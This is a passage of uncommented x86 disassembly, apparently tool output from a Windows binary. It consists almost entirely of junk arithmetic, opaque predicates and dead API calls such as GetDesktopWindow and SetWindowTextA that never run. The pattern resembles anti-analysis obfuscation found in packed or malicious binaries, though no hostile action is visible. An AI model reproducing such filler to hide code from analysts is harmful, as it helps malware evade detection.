and dword [ebp - 0x3984], 0
mov eax, dword [ebp - 0x8a4]
cmp eax, dword [ebp - 0x3984]
jle 0x460345
cmp dword [ebp - 0x8a4], 0
jne 0x460345
and dword [ebp - 0x3234], 0
jmp 0x46034f
mov dword [ebp - 0x3234], 1
mov eax, dword [ebp - 0x8a4]
cmp dword [ebp - 0x3234], eax
je 0x460369
mov dword [ebp - 0x1594], 1
jmp 0x460370
and dword [ebp - 0x1594], 0
cmp dword [ebp - 0x1594], 0x7a14
jg 0x460388
mov dword [ebp - 0x3158], 1
jmp 0x46038f
and dword [ebp - 0x3158], 0
mov eax, dword [ebp - 0x1348]
cmp dword [ebp - 0x3158], eax
je 0x4603a9
mov dword [ebp - 0x159c], 1
jmp 0x4603b0
and dword [ebp - 0x159c], 0
mov eax, dword [ebp - 0x159c]
mov dword [ebp - 0x41b8], eax
mov eax, dword [ebp - 0x3160]
inc eax
mov dword [ebp - 0x3160], eax
mov dword [ebp - 0x13a8], 0x67f5ed9a
mov dword [ebp - 0x85c], 0x3aaf
mov dword [ebp - 0x854], 0xdfc9b996
push 1
lea ecx, [ebp - 0x474c]
call fcn.004147f5
mov dword [ebp - 0xb4], 1
mov dword [ebp - 0x13c8], 0x67a7
mov dword [ebp - 0x994], 0xeb6652f0
mov dword [ebp - 0x15dc], 0xc2c6f73
mov dword [ebp - 0x4a40], 1
mov dword [ebp - 0x4a3c], 1
mov dword [ebp - 0x4a38], 1
mov dword [ebp - 0x4a34], 1
lea ecx, [ebp - 0x1355]
call fcn.004148f2
push eax
lea eax, [ebp - 0x4a30]
push eax
lea eax, [ebp - 0x4a40]
push eax
lea ecx, [ebp - 0x61f8]
call fcn.004148f5
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x5970]
call fcn.004148a1
mov dword [ebp - 0x41e0], 3
mov dword [ebp - 0x100], 0
jmp 0x46049c
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 1
jge 0x4604b8
mov eax, dword [ebp - 0x100]
mov dword [ebp + eax*4 - 0xa4], 0x80fc3a06
jmp 0x46048f
mov dword [ebp - 0x100], 0
jmp 0x4604d1
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 1
jge 0x4604f3
push dword [ebp - 0x100]
lea ecx, [ebp - 0x474c]
call fcn.004148e3
mov dword [eax], 0xfff9
jmp 0x4604c4
mov dword [ebp - 0x100], 0
jmp 0x46050c
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 1
jge 0x460528
mov eax, dword [ebp - 0x100]
mov dword [ebp + eax*4 - 0x41e8], 9
jmp 0x4604ff
push 0
lea ecx, [ebp - 0x474c]
call fcn.004148e3
mov dword [ebp - 0x15a4], eax
mov eax, dword [ebp - 0x15a4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x15a4]
mov dword [ecx], eax
cmp dword [ebp - 0xb4], 0
jne 0x460561
mov dword [ebp - 0x3168], 1
jmp 0x460568
and dword [ebp - 0x3168], 0
mov eax, dword [ebp - 0x13a8]
imul eax, dword [ebp - 0x3168]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0xa4]
je 0x460599
cmp dword [ebp - 0x13c8], 0
je 0x460599
mov dword [ebp - 0x15ac], 1
jmp 0x4605a0
and dword [ebp - 0x15ac], 0
mov eax, 0x14ad
sub eax, dword [ebp - 0x15ac]
cmp eax, 0x26b5cfda
jl 0x4605c4
cmp dword [ebp - 0x85c], 0
jne 0x4605c4
and dword [ebp - 0x41c0], 0
jmp 0x4605ce
mov dword [ebp - 0x41c0], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa4]
mov dword [ebp - 0x3170], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3170]
mov dword [ebp + eax - 0xa4], ecx
mov eax, dword [ebp - 0x13a8]
cmp eax, dword [ebp - 0x3170]
jl 0x46060e
mov dword [ebp - 0x15b4], 1
jmp 0x460615
and dword [ebp - 0x15b4], 0
mov eax, dword [ebp - 0x854]
cmp dword [ebp - 0x15b4], eax
je 0x46062f
mov dword [ebp - 0x3178], 1
jmp 0x460636
and dword [ebp - 0x3178], 0
mov eax, dword [ebp - 0x13a8]
add eax, dword [ebp - 0x3178]
cmp eax, 0x2167fa5c
jle 0x460655
mov dword [ebp - 0x15bc], 1
jmp 0x46065c
and dword [ebp - 0x15bc], 0
mov eax, dword [ebp - 0x15bc]
neg eax
cmp eax, dword [ebp - 0x13c8]
jl 0x460678
mov dword [ebp - 0x3180], 1
jmp 0x46067f
and dword [ebp - 0x3180], 0
mov eax, dword [ebp - 0x3180]
mov dword [ebp - 0x994], eax
mov dword [ebp - 0x994], 0xffffffe5
jmp 0x4606a4
mov eax, dword [ebp - 0x994]
inc eax
mov dword [ebp - 0x994], eax
cmp dword [ebp - 0x994], 0xfffffff9
jle 0x460de6
mov dword [ebp - 0x864], 0xb8a5
mov dword [ebp - 0x13d0], 0x609e5b73
mov dword [ebp - 0x854], 0
jmp 0x4606de
mov eax, dword [ebp - 0x854]
dec eax
mov dword [ebp - 0x854], eax
cmp dword [ebp - 0x854], 0xffffffe5
jl 0x460dc4
mov dword [ebp - 0xdfc], 0xd1456014
mov dword [ebp - 0x13d8], 0x6696b495
mov dword [ebp - 0xb4], 0
jmp 0x460718
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0
jg 0x460dab
mov dword [ebp - 0x1d0], 0x9132e882
mov dword [ebp - 0x6f8], 0x79b1000b
mov dword [ebp - 0x85c], 0
jmp 0x460752
mov eax, dword [ebp - 0x85c]
inc eax
mov dword [ebp - 0x85c], eax
cmp dword [ebp - 0x85c], 0
jg 0x460cf0
mov dword [ebp - 0x162c], 7
mov eax, dword [ebp - 0xb4]
cmp dword [ebp + eax*4 - 0xa4], 0
jne 0x460876
mov dword [ebp - 0xdfc], 0
mov eax, dword [ebp - 0x1d0]
cmp dword [ebp - 0xdfc], eax
jle 0x46079a
or eax, 0xffffffff
jne 0x4607b3
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa4], 0
jne 0x4607b3
and dword [ebp - 0x15c4], 0
jmp 0x4607bd
mov dword [ebp - 0x15c4], 1
mov eax, dword [ebp - 0x1d0]
cmp dword [ebp - 0x15c4], eax
jne 0x4607d7
mov dword [ebp - 0x3188], 1
jmp 0x4607de
and dword [ebp - 0x3188], 0
mov eax, dword [ebp - 0x13d8]
cmp dword [ebp - 0x3188], eax
jg 0x4607f8
mov dword [ebp - 0x41c8], 1
jmp 0x4607ff
and dword [ebp - 0x41c8], 0
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp + eax*4 - 0xa4]
mov dword [ebp - 0x5014], eax
push 0xfffffffffffffffa
pop eax
test eax, eax
je 0x460835
mov eax, dword [ebp - 0xb4]
cmp dword [ebp + eax*4 - 0xa4], 0
je 0x460835
mov dword [ebp - 0x15cc], 1
jmp 0x46083c
and dword [ebp - 0x15cc], 0
mov eax, dword [ebp - 0x15dc]
cmp eax, dword [ebp - 0x15cc]
jne 0x460856
mov dword [ebp - 0x41d0], 1
jmp 0x46085d
and dword [ebp - 0x41d0], 0
mov eax, dword [ebp - 0x864]
mov dword [ebp - 0x501c], eax
xor eax, eax
jne 0x460876
and dword [ebp - 0x3190], 0
jmp 0x460880
mov dword [ebp - 0x3190], 1
mov eax, dword [ebp - 0x1d0]
cmp dword [ebp - 0x3190], eax
jl 0x46089a
mov dword [ebp - 0x15d4], 1
jmp 0x4608a1
and dword [ebp - 0x15d4], 0
cmp dword [ebp - 0x15d4], 0x1a93
jl 0x4608b9
mov dword [ebp - 0x41d8], 1
jmp 0x4608c0
and dword [ebp - 0x41d8], 0
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x5024], eax
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x1d0]
cmp dword [ebp + eax*4 - 0xa4], ecx
je 0x4608ed
mov dword [ebp - 0x3198], 1
jmp 0x4608f4
and dword [ebp - 0x3198], 0
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x3198]
mov dword [ebp + eax*4 - 0xa4], ecx
cmp dword [ebp - 0x864], 0
je 0x460926
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xa4], 0
jmp 0x460ceb
mov dword [ebp - 0x8ac], 4
mov eax, dword [ebp - 0xb4]
cmp dword [ebp + eax*4 - 0xa4], 0
jne 0x460952
cmp dword [ebp - 0x864], 0
jne 0x460952
and dword [ebp - 0x31a0], 0
jmp 0x46095c
mov dword [ebp - 0x31a0], 1
mov eax, 0xf61094
sub eax, dword [ebp - 0x15dc]
cmp dword [ebp - 0x31a0], eax
jg 0x46097d
xor eax, eax
inc eax
jne 0x46097d
and dword [ebp - 0x15e4], 0
jmp 0x460987
mov dword [ebp - 0x15e4], 1
cmp dword [ebp - 0x15e4], 0xfbd2
jge 0x46099f
mov dword [ebp - 0x31a8], 1
jmp 0x4609a6
and dword [ebp - 0x31a8], 0
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp + eax*4 - 0xa4]
cmp eax, dword [ebp - 0x31a8]
jge 0x4609c7
mov dword [ebp - 0x15ec], 1
jmp 0x4609ce
and dword [ebp - 0x15ec], 0
mov eax, dword [ebp - 0x854]
cmp dword [ebp - 0x15ec], eax
jl 0x4609f6
xor eax, eax
inc eax
je 0x4609f6
cmp dword [ebp - 0x8ac], 0
je 0x4609f6
mov dword [ebp - 0x31b0], 1
jmp 0x4609fd
and dword [ebp - 0x31b0], 0
mov eax, dword [ebp - 0x1d0]
cmp dword [ebp - 0x31b0], eax
je 0x460a1e
push 7
pop eax
test eax, eax
je 0x460a1e
mov dword [ebp - 0x15f4], 1
jmp 0x460a25
and dword [ebp - 0x15f4], 0
mov eax, dword [ebp - 0x1d0]
cmp dword [ebp - 0x15f4], eax
jl 0x460a3f
mov dword [ebp - 0x31b8], 1
jmp 0x460a46
and dword [ebp - 0x31b8], 0
mov eax, dword [ebp - 0xdfc]
cmp dword [ebp - 0x31b8], eax
jg 0x460a60
mov dword [ebp - 0x15fc], 1
jmp 0x460a67
and dword [ebp - 0x15fc], 0
mov eax, dword [ebp - 0x8ac]
mov dword [ebp - 0x6f8], eax
mov eax, dword [ebp - 0x6f8]
cmp eax, dword [ebp - 0x15fc]
jl 0x460a8d
mov dword [ebp - 0x31c0], 1
jmp 0x460a94
and dword [ebp - 0x31c0], 0
mov eax, dword [ebp - 0x1d0]
cmp dword [ebp - 0x31c0], eax
jg 0x460aae
mov dword [ebp - 0x1604], 1
jmp 0x460ab5
and dword [ebp - 0x1604], 0
cmp dword [ebp - 0x1604], 0
jae 0x460aca
mov dword [ebp - 0x31c8], 1
jmp 0x460ad1
and dword [ebp - 0x31c8], 0
mov eax, dword [ebp - 0x8ac]
cmp dword [ebp - 0x31c8], eax
jg 0x460aeb
mov dword [ebp - 0x160c], 1
jmp 0x460af2
and dword [ebp - 0x160c], 0
imul eax, dword [ebp - 0x160c], 0xffffffff
test eax, eax
je 0x460b12
cmp dword [ebp - 0x864], 0
je 0x460b12
mov dword [ebp - 0x31d0], 1
jmp 0x460b19
and dword [ebp - 0x31d0], 0
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x31d0]
mov dword [ebp + eax*4 - 0xa4], ecx
cmp dword [ebp - 0x864], 0
jne 0x460b66
mov eax, dword [ebp - 0x6f8]
mov dword [ebp - 0x1614], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1614]
mov dword [ebp + eax - 0xa4], ecx
cmp dword [ebp - 0x1614], 0
jne 0x460b66
and dword [ebp - 0x1634], 0
jmp 0x460b70
mov dword [ebp - 0x1634], 1
mov eax, dword [ebp - 0x85c]
add eax, 0x2f6e
cmp eax, dword [ebp - 0x13d8]
jl 0x460b8f
mov dword [ebp - 0x31d8], 1
jmp 0x460b96
and dword [ebp - 0x31d8], 0
imul eax, dword [ebp - 0x31d8], 0xac9e
test eax, eax
jne 0x460bb6
cmp dword [ebp - 0xdfc], 0
jne 0x460bb6
and dword [ebp - 0x161c], 0
jmp 0x460bc0
mov dword [ebp - 0x161c], 1
mov eax, dword [ebp - 0x161c]
sub eax, dword [ebp - 0x1d0]
inc eax
inc eax
je 0x460be5
cmp dword [ebp - 0x162c], 0
je 0x460be5
mov dword [ebp - 0x31e0], 1
jmp 0x460bec
and dword [ebp - 0x31e0], 0
push 1
lea ecx, [ebp - 0x5970]
call fcn.004148e3
mov ecx, dword [ebp - 0x31e0]
cmp ecx, dword [eax]
je 0x460c0f
mov dword [ebp - 0x1624], 1
jmp 0x460c16
and dword [ebp - 0x1624], 0
mov eax, dword [ebp - 0x6f8]
cmp dword [ebp - 0x1624], eax
jle 0x460c30
mov dword [ebp - 0x31e8], 1
jmp 0x460c37
and dword [ebp - 0x31e8], 0
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0x31e8], eax
je 0x460c51
mov dword [ebp - 0x31f0], 1
jmp 0x460c58
and dword [ebp - 0x31f0], 0
mov eax, dword [ebp - 0x162c]
imul eax, dword [ebp - 0x31f0]
test eax, eax
jne 0x460c7b
cmp dword [ebp - 0x864], 0
jne 0x460c7b
and dword [ebp - 0x31f8], 0
jmp 0x460c85
mov dword [ebp - 0x31f8], 1
mov eax, dword [ebp - 0x1634]
cmp eax, dword [ebp - 0x31f8]
jge 0x460c9f
mov dword [ebp - 0x163c], 1
jmp 0x460ca6
and dword [ebp - 0x163c], 0
mov eax, dword [ebp - 0x8ac]
sub eax, dword [ebp - 0x163c]
mov dword [ebp - 0x13d0], eax
mov eax, dword [ebp - 0x13d0]
imul eax, dword [ebp - 0x8ac]
cmp eax, 0x717e41ab
jl 0x460cd8
mov dword [ebp - 0x3200], 1
jmp 0x460cdf
and dword [ebp - 0x3200], 0
mov eax, dword [ebp - 0x3200]
mov dword [ebp - 0x6f8], eax
jmp 0x460745
mov eax, 0x82ffb082
test eax, eax
je 0x460d8c
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x1644], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1644]
mov dword [ebp + eax - 0xa4], ecx
cmp dword [ebp - 0x1644], 0
je 0x460d5f
mov eax, dword [ebp - 0x13c8]
cmp dword [ebp - 0x13d0], eax
jle 0x460d3f
mov dword [ebp - 0x3208], 1
jmp 0x460d46
and dword [ebp - 0x3208], 0
mov eax, dword [ebp - 0x3208]
add eax, 0xc533
je 0x460d5f
mov dword [ebp - 0x164c], 1
jmp 0x460d66
and dword [ebp - 0x164c], 0
mov eax, dword [ebp - 0x164c]
mov dword [ebp - 0x13d8], eax
mov eax, dword [ebp - 0x41e0]
add eax, dword [ebp - 0x6f8]
je 0x460d8c
mov dword [ebp - 0x3210], 1
jmp 0x460d93
and dword [ebp - 0x3210], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3210]
mov dword [ebp + eax - 0x41e8], ecx
jmp 0x46070b
push 0
lea ecx, [ebp - 0x474c]
call fcn.004148e3
cmp dword [eax], 0
je 0x460dbf
jmp 0x460dc4
jmp 0x4606d1
mov byte [ebp - 0x675], 0
movzx eax, byte [ebp - 0x675]
test eax, eax
je 0x460de1
push 0x250c
call dword [sym.imp.USER32.dll_GetQueueStatus]
jmp 0x460697
lea ecx, [ebp - 0x5970]
call fcn.004148c7
lea ecx, [ebp - 0x474c]
call fcn.004148c7
mov dword [ebp - 0xb24], 0
jmp 0x460e15
mov eax, dword [ebp - 0xb24]
inc eax
mov dword [ebp - 0xb24], eax
cmp dword [ebp - 0xb24], 4
jge 0x460e37
push dword [ebp - 0xb24]
lea ecx, [ebp - 0xa6c]
call fcn.004148e3
mov dword [eax], 0xcde9e843
jmp 0x460e08
mov dword [ebp - 0xf6c], 0
jmp 0x460e50
mov eax, dword [ebp - 0xf6c]
inc eax
mov dword [ebp - 0xf6c], eax
cmp dword [ebp - 0xf6c], 3
jge 0x460e6c
mov eax, dword [ebp - 0xf6c]
mov dword [ebp + eax*4 - 0x39a4], 1
jmp 0x460e43
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x39a4], 0xfffffff4
jmp 0x460e9a
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x39a4]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x39a4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x39a4], 0x1a
je 0x4611a5
mov dword [ebp - 0x1c4], 0
mov dword [ebp - 0xb2c], 0
jmp 0x460ed1
mov eax, dword [ebp - 0xb2c]
inc eax
mov dword [ebp - 0xb2c], eax
cmp dword [ebp - 0xb2c], 3
jge 0x460eed
mov eax, dword [ebp - 0xb2c]
mov dword [ebp + eax*4 - 0x43e8], 0x3eb905d0
jmp 0x460ec4
mov dword [ebp - 0x1c4], 2
jmp 0x460f06
mov eax, dword [ebp - 0x1c4]
dec eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0
jl 0x46117f
mov dword [ebp - 0x428], 0xd0d3f7bf
mov dword [ebp - 0x4200], 0xaa9dade6
mov byte [ebp - 0x6de], 0
movzx eax, byte [ebp - 0x6de]
test eax, eax
je 0x460f4f
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 0x428], 0
jmp 0x460f68
mov eax, dword [ebp - 0x428]
inc eax
mov dword [ebp - 0x428], eax
cmp dword [ebp - 0x428], 2
jg 0x46117a
mov dword [ebp - 0x13e0], 0xa8bc
mov dword [ebp - 0x165c], 9
mov eax, dword [ebp - 0x1c4]
cmp dword [ebp + eax*4 - 0x43e8], 0
je 0x460f9e
jmp 0x46117a
mov eax, dword [ebp - 0x13e0]
mov dword [ebp - 0x41f0], eax
mov eax, dword [ebp - 0x428]
mov dword [ebp - 0x41f8], eax
mov eax, dword [ebp - 0x13e0]
inc eax
mov dword [ebp - 0x13e0], eax
mov eax, dword [ebp - 0x41f0]
cmp eax, dword [ebp - 0x41f8]
jne 0x460fdd
mov dword [ebp - 0x1664], 1
jmp 0x460fe4
and dword [ebp - 0x1664], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x39a4], 2
jl 0x461000
mov dword [ebp - 0x1654], 1
jmp 0x461007
and dword [ebp - 0x1654], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x39a4]
cmp dword [ebp - 0x1654], eax
je 0x461028
mov dword [ebp - 0x3218], 1
jmp 0x46102f
and dword [ebp - 0x3218], 0
mov eax, dword [ebp - 0x1c4]
mov eax, dword [ebp + eax*4 - 0x43e8]
add eax, dword [ebp - 0x3218]
mov dword [ebp - 0x165c], eax
mov eax, dword [ebp - 0x428]
cmp dword [ebp - 0x165c], eax
jg 0x461068
cmp dword [ebp - 0x428], 0
jne 0x461068
and dword [ebp - 0x3220], 0
jmp 0x461072
mov dword [ebp - 0x3220], 1
mov eax, dword [ebp - 0x1c4]
mov eax, dword [ebp + eax*4 - 0x43e8]
add eax, dword [ebp - 0x3220]
cmp eax, 0xc89d73ae
jbe 0x461098
mov dword [ebp - 0x3228], 1
jmp 0x46109f
and dword [ebp - 0x3228], 0
mov eax, dword [ebp - 0x1664]
cmp eax, dword [ebp - 0x3228]
je 0x4610b9
mov dword [ebp - 0x166c], 1
jmp 0x4610c0
and dword [ebp - 0x166c], 0
mov eax, dword [ebp - 0x428]
mov eax, dword [ebp + eax*4 - 0x43e8]
imul eax, dword [ebp - 0x166c]
test eax, eax
jne 0x4610f0
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x39a4], 0
jne 0x4610f0
and dword [ebp - 0x3230], 0
jmp 0x4610fa
mov dword [ebp - 0x3230], 1
mov eax, dword [ebp - 0x4200]
cmp dword [ebp - 0x3230], eax
jl 0x461116
xor eax, eax
inc eax
jne 0x461116
and dword [ebp - 0x1674], 0
jmp 0x461120
mov dword [ebp - 0x1674], 1
mov eax, dword [ebp - 0x1c4]
cmp dword [ebp - 0x1674], eax
jle 0x46113a
mov dword [ebp - 0x3238], 1
jmp 0x461141
and dword [ebp - 0x3238], 0
mov eax, dword [ebp - 0x1c4]
cmp eax, dword [ebp - 0x3238]
jl 0x46115b
mov dword [ebp - 0x167c], 1
jmp 0x461162
and dword [ebp - 0x167c], 0
mov eax, dword [ebp - 0x1c4]
mov ecx, dword [ebp - 0x167c]
mov dword [ebp + eax*4 - 0x43e8], ecx
jmp 0x460f5b
jmp 0x460ef9
mov byte [ebp - 0x67d], 0
movzx eax, byte [ebp - 0x67d]
test eax, eax
je 0x4611a0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
jmp 0x460e7f
mov eax, dword [ebp - 0x718]
inc eax
mov dword [ebp - 0x718], eax
je 0x4611c5
xor eax, eax
inc eax
je 0x4611c5
mov dword [ebp - 0x3240], 1
jmp 0x4611cc
and dword [ebp - 0x3240], 0
cmp dword [ebp - 0x3240], 0x3e86f8c7
jne 0x4611e4
mov dword [ebp - 0x1684], 1
jmp 0x4611eb
and dword [ebp - 0x1684], 0
mov eax, dword [ebp - 0x1684]
inc eax
je 0x461209
cmp dword [ebp - 0x718], 0
je 0x461209
mov dword [ebp - 0x3248], 1
jmp 0x461210
and dword [ebp - 0x3248], 0
mov eax, dword [ebp - 0x3248]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x493c], 0x2d14
mov dword [ebp - 0x4938], 0x2d14
mov dword [ebp - 0x4934], 0x2d14
mov dword [ebp - 0x4930], 0x2d14
mov dword [ebp - 0x169c], 0xd1e814b7
mov dword [ebp - 0x810], 2
mov dword [ebp - 0x13e8], 0xfdad
mov dword [ebp - 0x168c], 0xd5d08818
mov dword [ebp - 0x3258], 0
mov dword [ebp - 0xe04], 0
jmp 0x461295
mov eax, dword [ebp - 0xe04]
inc eax
mov dword [ebp - 0xe04], eax
cmp dword [ebp - 0xe04], 2
jge 0x4612b1
mov eax, dword [ebp - 0xe04]
mov dword [ebp + eax*4 - 0x48bc], 0x6eb6b9dd
jmp 0x461288
mov eax, dword [ebp - 0x13e8]
inc eax
mov dword [ebp - 0x13e8], eax
jne 0x4612d2
cmp dword [ebp - 0x810], 0
jne 0x4612d2
and dword [ebp - 0x3260], 0
jmp 0x4612dc
mov dword [ebp - 0x3260], 1
cmp dword [ebp - 0x810], 0x21
jl 0x4612f1
mov dword [ebp - 0x13f0], 1
jmp 0x4612f8
and dword [ebp - 0x13f0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x13f0]
mov dword [ebp + eax - 0x48bc], ecx
mov eax, dword [ebp - 0x168c]
cmp dword [ebp - 0x13f0], eax
je 0x461325
mov dword [ebp - 0x4208], 1
jmp 0x46132c
and dword [ebp - 0x4208], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x493c]
mov dword [ebp - 0x502c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x48bc]
cmp dword [ebp - 0x810], eax
jge 0x461360
mov dword [ebp - 0x3250], 1
jmp 0x461367
and dword [ebp - 0x3250], 0
mov eax, dword [ebp - 0x168c]
cmp dword [ebp - 0x3250], eax
jg 0x461381
mov dword [ebp - 0x1694], 1
jmp 0x461388
and dword [ebp - 0x1694], 0
mov eax, dword [ebp - 0x810]
mov dword [ebp - 0x5034], eax
mov eax, dword [ebp - 0x169c]
mov dword [ebp - 0x503c], eax
mov eax, dword [ebp - 0x1694]
mov dword [ebp - 0x3258], eax
mov eax, dword [ebp - 0x3258]
mov dword [ebp - 0x5044], eax
mov eax, dword [ebp - 0x810]
mov dword [ebp - 0x504c], eax
cmp dword [ebp - 0x169c], 0
je 0x4613e9
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x493c], 0
je 0x4613e9
mov dword [ebp - 0x16a4], 1
jmp 0x4613f0
and dword [ebp - 0x16a4], 0
mov eax, dword [ebp - 0x3260]
add eax, dword [ebp - 0x16a4]
mov dword [ebp - 0x810], eax
mov dword [ebp - 0x68], 0
jmp 0x461412
cmp dword [ebp - 0x68], 3
jg 0x465df3
mov dword [ebp - 0x3b8], 0x60477862
mov dword [ebp - 0xa04], 0x70ade216
push 1
lea ecx, [ebp - 0x4bd8]
call fcn.004147f5
mov dword [ebp - 0xb34], 9
mov dword [ebp - 0x3288], 0xb7a2e255
push 4
lea ecx, [ebp - 0x4bc0]
call fcn.004147f5
mov dword [ebp - 0xc], 0
jmp 0x46146e
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 3
jge 0x461484
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x5980], 0xfffffffe
jmp 0x461467
mov dword [ebp - 0xc], 0
jmp 0x461494
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 1
jge 0x4614b0
push dword [ebp - 0xc]
lea ecx, [ebp - 0x4bd8]
call fcn.004148e3
mov dword [eax], 0xe0184dcc
jmp 0x46148d
mov dword [ebp - 0xc], 0
jmp 0x4614c0
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 2
jge 0x4614d6
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x3dfc], 0x299fa9ef
jmp 0x4614b9
mov dword [ebp - 0xc], 0
jmp 0x4614e6
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 2
jge 0x4614fc
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x5060], 0xffffffff
jmp 0x4614df
mov dword [ebp - 0xc], 0
jmp 0x46150c
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 4
jge 0x461525
push dword [ebp - 0xc]
lea ecx, [ebp - 0x4bc0]
call fcn.004148e3
and dword [eax], 0
jmp 0x461505
mov dword [ebp - 0x3b8], 0xffffffe3
jmp 0x46153e
mov eax, dword [ebp - 0x3b8]
inc eax
mov dword [ebp - 0x3b8], eax
cmp dword [ebp - 0x3b8], 0x1a
jg 0x461568
mov eax, dword [ebp - 0xa04]
dec eax
mov dword [ebp - 0xa04], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x5980], 0
je 0x461566
jmp 0x461568
jmp 0x461531
push 0
lea ecx, [ebp - 0x4bd8]
call fcn.004148e3
mov dword [ebp - 0x1448], eax
mov eax, dword [ebp - 0x1448]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x1448]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb34]
imul ecx, dword [ebp - 0xa04], 0xfffffff6
sub eax, ecx
mov ecx, dword [ebp - 0x1448]
cmp dword [ecx], eax
je 0x4615b1
mov dword [ebp - 0x113c], 1
jmp 0x4615b8
and dword [ebp - 0x113c], 0
mov eax, dword [ebp - 0xb34]
mov dword [ebp - 0x5054], eax
cmp dword [ebp - 0xb34], 0x97867a7b
je 0x4615dc
mov dword [ebp - 0x3268], 1
jmp 0x4615e3
and dword [ebp - 0x3268], 0
mov eax, dword [ebp - 0x3268]
sub eax, dword [ebp - 0x3b8]
mov dword [ebp - 0x16ac], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x16ac]
mov dword [ebp + eax - 0x3dfc], ecx
mov eax, dword [ebp - 0x16ac]
inc eax
mov dword [ebp - 0x3b8], eax
mov eax, dword [ebp - 0xa04]
cmp dword [ebp - 0x3b8], eax
jl 0x46162f
mov dword [ebp - 0x3270], 1
jmp 0x461636
and dword [ebp - 0x3270], 0
cmp dword [ebp - 0x3270], 0xe96bb645
je 0x46164e
mov dword [ebp - 0x16b4], 1
jmp 0x461655
and dword [ebp - 0x16b4], 0
mov eax, dword [ebp - 0xb34]
cmp dword [ebp - 0x16b4], eax
jle 0x46166f
mov dword [ebp - 0x3278], 1
jmp 0x461676
and dword [ebp - 0x3278], 0
cmp dword [ebp - 0x3278], 9
jle 0x461694
cmp dword [ebp - 0x3b8], 0
je 0x461694
mov dword [ebp - 0x16bc], 1
jmp 0x46169b
and dword [ebp - 0x16bc], 0
mov eax, dword [ebp - 0x16bc]
neg eax
jne 0x4616b3
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3dfc], 0
mov eax, dword [ebp - 0xa04]
mov dword [ebp - 0x5250], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3dfc], 0x245e3205
je 0x4616de
mov dword [ebp - 0x3280], 1
jmp 0x4616e5
and dword [ebp - 0x3280], 0
cmp dword [ebp - 0x3280], 0xffffffff
je 0x4616fa
mov dword [ebp - 0x16c4], 1
jmp 0x461701
and dword [ebp - 0x16c4], 0
mov eax, dword [ebp - 0x16c4]
mov dword [ebp - 0x3288], eax
mov eax, dword [ebp - 0x3288]
mov dword [ebp - 0x16cc], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x16cc]
mov dword [ebp + eax - 0x5060], ecx
cmp dword [ebp - 0x16cc], 0
jne 0x461747
mov eax, 0x1f99
test eax, eax
jne 0x461747
and dword [ebp - 0x3290], 0
jmp 0x461751
